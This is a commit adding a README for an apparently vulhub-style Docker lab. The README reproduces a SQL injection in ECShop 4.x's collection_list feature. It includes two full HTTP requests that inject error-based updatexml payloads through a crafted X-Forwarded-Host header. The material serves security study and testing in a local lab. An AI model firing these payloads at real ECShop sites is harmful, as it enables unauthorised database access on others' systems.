first commit

ecshop/collection_list-sqli/README.md

@@ -0,0 +1,63 @@
+# ECShop 4.x `collection_list` SQL Injection
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+ECShop is a popular open-source e-commerce system. A SQL injection vulnerability exists in the `collection_list` functionality of ECShop 4.x versions, which allows attackers to execute arbitrary SQL queries through the `insert_` functions.
+
+References:
+
+- <https://mp.weixin.qq.com/s/xHioArEpoAqGlHJPfq3Jiw>
+- <http://foreversong.cn/archives/1556>
+
+## Environment Setup
+
+Execute the following command to start ECShop 4.0.6:
+
+```
+docker compose up -d
+```
+
+After the server starts, visit `http://your-ip:8080` to begin the installation process. During installation:
+
+- Set the database address to `mysql`
+- Set both username and password to `root`
+
+## Vulnerability Reproduction
+
+The vulnerability is similar to [xianzhi-2017-02-82239600](https://github.com/vulhub/vulhub/tree/master/ecshop/xianzhi-2017-02-82239600), where arbitrary `insert_` functions can be exploited for SQL injection.
+
+Multiple `insert_` functions can be used for exploitation. For example, using `insert_user_account`:
+
+```http
+GET /user.php?act=collection_list HTTP/1.1
+Host: your-ip:8080
+X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
+Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1;
+Connection: close
+
+```
+
+![](1.png)
+
+Note: You must be logged in as a normal user before attempting exploitation.
+
+Alternatively, you can use `insert_pay_log` as shown in this example:
+
+```http
+GET /user.php?act=collection_list HTTP/1.1
+Host: 192.168.1.162:8080
+X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
+Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1;
+Connection: close
+
+```
+
+![](2.png)